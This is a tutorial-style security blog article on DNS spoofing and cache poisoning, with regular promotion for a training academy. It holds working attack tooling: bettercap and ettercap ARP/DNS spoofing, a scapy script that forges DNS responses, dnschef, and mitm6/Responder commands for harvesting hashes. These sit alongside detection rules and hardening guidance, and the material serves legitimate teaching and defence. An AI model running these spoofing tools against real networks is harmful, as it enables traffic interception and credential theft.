Every connection you make starts with a question: "What is the IP address for this name?" DNS answers that question billions of times a day, and almost nobody verifies the answer. That blind trust is exactly what DNS spoofing abuses. When an attacker poisons DNS, your browser still shows the right domain in the address bar, but the traffic is quietly routed to a server the attacker controls.
This guide breaks down how DNS spoofing and DNS cache poisoning actually work at the packet level, walks through real attacker tooling and payloads used in authorized engagements, and then covers the controls that genuinely shut these attacks down. If you work in offensive security, blue team operations, or network engineering, this is the layer of the stack you cannot afford to misunderstand.
DNS spoofing is any technique that causes a DNS resolver or client to accept a forged response, mapping a legitimate domain name to an attacker-controlled IP address. The victim believes they are talking to bank.example.com, but the resolved address points to a malicious host that can phish credentials, serve malware, or sit in the middle and relay traffic.
The term is often used loosely. In practice it covers several distinct attack patterns that share the same goal but differ sharply in technique and difficulty.
People use these terms interchangeably, but the distinction matters when you are scoping defenses.
DNS spoofing in the narrow sense refers to forging a single response to a single query, usually on a local network where the attacker can see the victim's request. The classic example is a man-in-the-middle on the same LAN racing the real resolver to answer first.
DNS cache poisoning is more ambitious. The attacker injects a forged record into a recursive resolver's cache so that every downstream client receiving answers from that resolver is affected, often for the full TTL of the malicious record. One successful injection can compromise thousands of users.
If you want a structured path through these networking attack primitives with guided labs, the foundational track at Redfox Cybersecurity Academy is built around exactly this kind of hands-on progression.
You cannot attack or defend a protocol you do not understand at the wire level. A normal recursive lookup looks like this. The stub resolver on your machine asks a recursive resolver. The recursive resolver walks the hierarchy: root servers, then the TLD servers, then the authoritative nameserver for the domain. The final answer flows back and gets cached.
Let us inspect a real query so you can see the fields an attacker has to forge.
dig +norecurse +nocomments +nostats example.com A @1.1.1.1
# Inspect the transaction ID, flags, and the answer section
dig +trace example.com A
[cta]
The critical fields for spoofing are the 16-bit DNS transaction ID, the source port of the query, the question section, and the answer. To forge a convincing response, an attacker must match the transaction ID and the source port, send to the right destination, and arrive before the legitimate answer. On a switched LAN where the attacker can observe the query, all of those values are simply read off the wire. Off-path, they must be guessed, which is why source port randomization mattered so much after the 2008 Kaminsky disclosure.
There is no single DNS spoofing attack. There is a family of them, and a competent practitioner needs to recognize each one.
The most common scenario in internal penetration tests is layer 2 manipulation. The attacker poisons the ARP cache of the victim and the gateway so that traffic flows through the attacker's machine. Once in the middle, DNS responses can be rewritten on the fly.
bettercap is the professional-grade tool for this. It handles ARP spoofing, packet capture, and DNS rewriting in a single framework with a scriptable caplet system.
# Start bettercap on the LAN interface
sudo bettercap -iface eth0
# Inside the interactive session:
set arp.spoof.targets 192.168.1.50
arp.spoof on
# Configure the DNS spoofer to map a target domain to our host
set dns.spoof.domains login.corp-target.com
set dns.spoof.address 192.168.1.66
set dns.spoof.all true
dns.spoof on
net.sniff on
[cta]
The moment the victim queries login.corp-target.com, bettercap sees the request crossing the poisoned path and answers with a forged A record pointing to 192.168.1.66, where a cloned login portal is waiting. Because the attacker is on-path, the transaction ID and source port are observed rather than guessed, so the forged packet is accepted with near-certainty.
ettercap remains useful when you need fine-grained, filter-based packet manipulation. Its etterfilter language lets you rewrite DNS answers conditionally based on packet content.
# Compile a filter that rewrites DNS responses
cat > dns_rewrite.filter <<'EOF'
if (ip.proto == UDP && udp.dst == 53) {
if (search(DATA.data, "intranet.target.local")) {
log(DATA.data, "/tmp/dns_hits.log");
msg("Intercepted DNS query for intranet\n");
}
}
EOF
etterfilter dns_rewrite.filter -o dns_rewrite.ef
sudo ettercap -T -q -i eth0 -F dns_rewrite.ef -M arp:remote /192.168.1.50// /192.168.1.1//
[cta]
When you need full control to understand the mechanics or to test detection logic, hand-crafting packets with scapy is unbeatable. This is also how you teach the concept properly, because every field is explicit.
from scapy.all import *
def forge_response(pkt):
if pkt.haslayer(DNSQR) and b"target" in pkt[DNSQR].qname:
spoofed = (
IP(dst=pkt[IP].src, src=pkt[IP].dst) /
UDP(dport=pkt[UDP].sport, sport=53) /
DNS(
id=pkt[DNS].id, # match the transaction ID
qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNSQR].qname, ttl=600, rdata="192.168.1.66")
)
)
send(spoofed, verbose=0)
print(f"Spoofed answer sent for {pkt[DNSQR].qname.decode()}")
sniff(filter="udp port 53", prn=forge_response, iface="eth0", store=0)
[cta]
Notice that the script copies the transaction ID directly from the captured query. That is the entire trick on a local network. The defender's job, as we will see, is to make that ID and port impossible to observe or guess, and to make the forged answer fail verification even if it arrives.
For red team infrastructure, a configurable rogue resolver is cleaner than rewriting packets in transit. dnschef lets you selectively forge some domains while transparently proxying everything else, which keeps the victim's experience normal and avoids tipping them off.
# Forge only the domains we care about, proxy the rest to a real resolver
dnschef --fakeip 192.168.1.66 \
--fakedomains login.corp-target.com,vpn.corp-target.com \
--nameservers 1.1.1.1 \
--interface 192.168.1.66 -q
[cta]
Off-path attacks are harder and more dangerous because the attacker never sees the victim's query. The Kaminsky attack flooded a resolver with forged answers for nonexistent subdomains, each carrying a guessed transaction ID and an authority section that delegated the entire parent domain to an attacker nameserver. Because the resolver kept asking for new random subdomains, the attacker got repeated chances to win the race before the real answer arrived.
More recently, the SAD DNS class of attacks revived off-path poisoning by abusing ICMP rate-limit side channels to infer the ephemeral source port, collapsing the search space that port randomization was supposed to protect. The lesson is blunt: entropy alone is a speed bump, not a wall. Cryptographic validation is the wall.
If you want to practice reconstructing and detecting these attack chains in an isolated lab rather than against production systems, the network and infrastructure modules at Redfox Cybersecurity Academy provide the safe environment to do it.
Modern networks leak name resolution through more than just UDP 53. Two tools dominate internal assessments here.
mitm6 abuses the fact that Windows prefers IPv6 and will happily accept a rogue DHCPv6-supplied DNS server. The attacker becomes the victim's primary DNS resolver without touching ARP at all.
# Become the IPv6 DNS server for the target domain
sudo mitm6 -d corp-target.local -i eth0
[cta]
Responder poisons the legacy LLMNR, NBT-NS, and mDNS protocols that Windows falls back to when DNS fails. These are name resolution requests too, and poisoning them harvests authentication material.
# Answer LLMNR/NBT-NS/mDNS queries and capture hashes
sudo responder -I eth0 -wv
[cta]
Pairing mitm6 with Responder and an NTLM relay is one of the most reliable internal attack chains in existence, and it all starts with the same trust assumption that DNS spoofing exploits: clients believe whatever answers them first.
Detection sits at two layers: the network and the endpoint. The earlier you catch a forged answer, the less damage it does.
When an attacker races the legitimate resolver, the victim often receives two answers for the same query. A capture will show the same transaction ID resolving to two different addresses. tshark makes this visible.
# Surface DNS answers and flag duplicate transaction IDs
sudo tshark -i eth0 -Y "dns.flags.response == 1" \
-T fields -e frame.time -e ip.src -e dns.id -e dns.qry.name -e dns.a
# Look for the same dns.id arriving from two different source IPs
sudo tshark -i eth0 -Y "dns.flags.response == 1" -z dns,tree
[cta]
Local DNS spoofing usually rides on ARP poisoning. Detecting the layer 2 anomaly catches the layer 7 attack. arpwatch and a quick tcpdump filter both work.
# Watch for a MAC address claiming the gateway IP unexpectedly
sudo arpwatch -i eth0
# Manual check: multiple MACs mapped to one IP is a red flag
sudo tcpdump -i eth0 -n arp and 'arp[6:2] = 2'
[cta]
An IDS gives you continuous, scalable detection. The Suricata rule below alerts when a DNS response resolves a sensitive internal domain to an address outside your expected range. Tune the addresses to your environment.
alert dns any any -> any any (msg:"Possible DNS spoofing for corp portal"; \
dns.query; content:"login.corp-target.com"; nocase; \
sid:3000001; rev:1;)
alert dns any any -> $HOME_NET any (msg:"DNS answer points to unexpected host"; \
dns.answer.name; content:"vpn.corp-target.com"; \
threshold:type limit, track by_src, count 1, seconds 60; \
sid:3000002; rev:1;)
[cta]
For deeper behavioral analysis, a zeek deployment logging every DNS transaction lets you baseline normal resolution and alert on records whose answers suddenly change or whose TTLs look manipulated. Building and tuning these detection pipelines is a core skill covered in the blue team oriented content at Redfox Cybersecurity Academy.
Detection tells you it happened. The controls below stop it from working in the first place. Defense in depth matters because no single layer covers every attack variant.
DNSSEC is the structural fix for cache poisoning. It signs DNS records so a validating resolver can cryptographically verify that an answer came from the real authoritative server and was not modified in transit. A forged answer fails signature validation and is discarded, regardless of whether the attacker matched the transaction ID and port.
Validate that a domain is signed and that the chain of trust holds.
# Check for DNSSEC records and a validated AD (Authenticated Data) flag
dig +dnssec +multi example.com A @1.1.1.1
dig DNSKEY example.com +short
dig DS example.com +short
# A resolver that validates will set the "ad" flag in the response header
dig example.com +dnssec | grep -i flags
[cta]
The caveat is that DNSSEC protects the integrity of the answer, not the confidentiality of the query, and it does nothing against on-path layer 2 spoofing of a non-validating client. It is necessary but not sufficient on its own.
DNS over HTTPS and DNS over TLS encrypt the query and answer between the client and the resolver. An on-path attacker can no longer read the transaction ID or rewrite the answer because the entire exchange is inside a TLS tunnel. This neutralizes the classic LAN spoofing technique.
# Test DNS over TLS to a resolver on port 853
kdig -d @1.1.1.1 +tls-ca +tls-host=cloudflare-dns.com example.com
# Test DNS over HTTPS
curl -s -H 'accept: application/dns-json' \
'https://1.1.1.1/dns-query?name=example.com&type=A' | jq
[cta]
On managed endpoints, enforce encrypted DNS and pin the resolver so clients cannot silently fall back to plaintext UDP 53. Combine that with firewall rules that block outbound port 53 except from your sanctioned resolvers, so a rogue dnschef or dnsmasq instance cannot quietly serve clients.
Because so much DNS spoofing depends on ARP poisoning, switch-level controls are some of the highest-value defenses you can deploy. Dynamic ARP Inspection and DHCP Snooping stop the attacker from becoming the man in the middle in the first place.
! Cisco IOS example: enable DHCP snooping and Dynamic ARP Inspection
ip dhcp snooping
ip dhcp snooping vlan 10
interface GigabitEthernet0/1
ip dhcp snooping trust
!
ip arp inspection vlan 10
interface GigabitEthernet0/2
ip arp inspection limit rate 15
[cta]
For the IPv6 and LLMNR attack paths, disable LLMNR and NBT-NS through group policy, and deploy RA Guard and DHCPv6 Guard on switches so a rogue mitm6 cannot advertise itself as the IPv6 DNS server.
! Block rogue IPv6 router advertisements and DHCPv6 servers
interface GigabitEthernet0/2
ipv6 nd raguard attach-policy
ipv6 dhcp guard
[cta]
If you run recursive resolvers, configure them to resist poisoning. Enforce source port randomization, enable DNSSEC validation, restrict who can query, and consider response rate limiting to blunt flooding-based off-path attacks.
// BIND named.conf hardening excerpt
options {
dnssec-validation auto;
use-v4-udp-ports { range 1024 65535; };
use-v6-udp-ports { range 1024 65535; };
allow-query { internal-clients; };
allow-recursion { internal-clients; };
rate-limit { responses-per-second 10; };
minimal-responses yes;
};
[cta]
Bringing the controls together, a realistic remediation plan for an enterprise looks like this. Enable DNSSEC validation on every recursive resolver and sign your own authoritative zones. Roll out DoH or DoT to endpoints and block plaintext DNS to anything but sanctioned resolvers. Turn on DHCP Snooping and Dynamic ARP Inspection across access switches. Disable LLMNR, NBT-NS, and mDNS where they are not needed, and deploy RA Guard and DHCPv6 Guard. Feed DNS logs into an IDS or SIEM with rules that flag duplicate transaction IDs, sudden record changes, and answers pointing outside expected ranges. Finally, test all of it with authorized internal assessments, because a control you have never validated is a control you do not actually have.
The teams that handle DNS spoofing best are the ones who have stood on both sides of the attack. They have run the poisoning in a lab and then watched their own detections fire. That dual perspective is precisely what the structured, lab-driven courses at Redfox Cybersecurity Academy are designed to build.
DNS spoofing works because resolution is built on trust that the protocol never originally verified. On a local network, an attacker who can observe a query can forge the answer almost trivially by matching the transaction ID and source port, which is why tools like bettercap, ettercap, and a few lines of Scapy are so effective in internal engagements. Off-path, the attack is harder but far from dead, as the Kaminsky and SAD DNS classes have repeatedly shown.
The defenses that matter are layered and concrete. DNSSEC makes forged answers fail cryptographic validation. DoH and DoT hide the query from on-path attackers entirely. Switch-level controls like Dynamic ARP Inspection, DHCP Snooping, RA Guard, and DHCPv6 Guard remove the man-in-the-middle position the attack depends on. Detection with Suricata, Zeek, and disciplined packet analysis catches what slips through.
Understanding the offense is what makes the defense real. If you want to go from reading about these attacks to executing and stopping them in a controlled environment, explore the networking and offensive security tracks at Redfox Cybersecurity Academy and start building the muscle memory that keeps DNS trustworthy.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
